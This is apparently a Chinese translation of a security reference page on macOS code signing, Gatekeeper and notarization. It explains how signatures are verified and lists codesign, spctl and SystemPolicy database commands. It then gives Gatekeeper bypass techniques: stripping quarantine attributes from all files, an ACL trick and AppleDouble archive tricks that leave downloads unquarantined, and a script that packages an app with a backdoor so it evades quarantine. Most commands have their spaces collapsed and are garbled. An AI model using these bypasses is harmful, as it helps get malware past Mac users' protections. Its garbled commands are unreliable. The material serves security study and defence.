应用程序签名,也称为代码签名,是 Apple 安全基础设施的关键组成部分。它们用于 验证软件作者的身份(开发者),并确保自上次签名以来代码未被篡改。
其工作原理如下:
签名应用程序: 当开发者准备分发其应用程序时,他们 使用私钥签名应用程序。此私钥与 Apple 在开发者注册 Apple Developer Program 时向开发者颁发的证书 相关联。签名过程涉及创建应用程序所有部分的加密哈希,并使用开发者的私钥对该哈希进行加密。
分发应用程序: 签名的应用程序随后与开发者的证书一起分发,该证书包含相应的公钥。
验证应用程序: 当用户下载并尝试运行应用程序时,他们的 Mac 操作系统使用开发者证书中的公钥解密哈希。然后,它根据应用程序的当前状态重新计算哈希,并将其与解密后的哈希进行比较。如果它们匹配,则意味着 应用程序自开发者签名以来未被修改,系统允许该应用程序运行。
应用程序签名是 Apple Gatekeeper 技术的重要组成部分。当用户尝试 打开从互联网下载的应用程序 时,Gatekeeper 会验证应用程序签名。如果它是由 Apple 向已知开发者颁发的证书签名,并且代码未被篡改,Gatekeeper 允许该应用程序运行。否则,它会阻止该应用程序并提醒用户。
从 macOS Catalina 开始,Gatekeeper 还检查应用程序是否经过 Apple 的公证,增加了一层额外的安全性。公证过程检查应用程序是否存在已知的安全问题和恶意代码,如果这些检查通过,Apple 会向应用程序添加一个 Gatekeeper 可以验证的票据。
# Get signercodesign-vv-d/bin/ls2>&1|grep-E"Authority|TeamIdentifier"# Check if the app’s contents have been modifiedcodesign--verify--verbose/Applications/Safari.app# Get entitlements from the binarycodesign-d--entitlements:-/System/Applications/Automator.app# Check the TCC perms# Check if the signature is validspctl--assess--verbose/Applications/Safari.app# Sign a binarycodesign-s<cert-name-keychain>toolsdemo
# Open databasesqlite3/var/db/SystemPolicy# Get allowed rulesSELECTrequirement,allow,disabled,labelfromauthoritywherelabel!='GKE'anddisabled=0;requirement|allow|disabled|labelanchor apple generic and certificate 1[subject.CN] = "Apple Software Update Certification Authority"|1|0|Apple Installer
anchorapple|1|0|AppleSystemanchorapplegenericandcertificateleaf[field.1.2.840.113635.100.6.1.9]exists|1|0|MacAppStoreanchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...]
# Check if allowed - nopspctl--assess-v/Applications/App.app/Applications/App.app:rejectedsource=nousablesignature# Add a label and allow this label in GateKeepersudospctl--add--label"whitelist"/Applications/App.appsudospctl--enable--label"whitelist"# Check again - yepspctl--assess-v/Applications/App.app/Applications/App.app:accepted
</details>
并**移除**该属性:
```bash
xattr -d com.apple.quarantine portada.png
#You can also remove this attribute from every file with
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
chmod+a"everyone deny write,writeattr,writeextattr"/tmp/testditto-c-ktesttest.zippython3-mhttp.server# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
mkdirtestechoa>test/aechob>test/becho._a>test/._aaaarchive-dtest/-otest.aar# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
# Create an app bundle with the backdoor an call it app.appecho"[+] creating disk image with app"hdiutilcreate-srcfolderapp.appapp.dmgecho"[+] creating directory and files"mkdirmkdir-ps/appcpapp.dmgs/app/._app.dmgln-s._app.dmgs/app/app.dmgecho"[+] compressing files"aaarchive-ds/-oapp.aar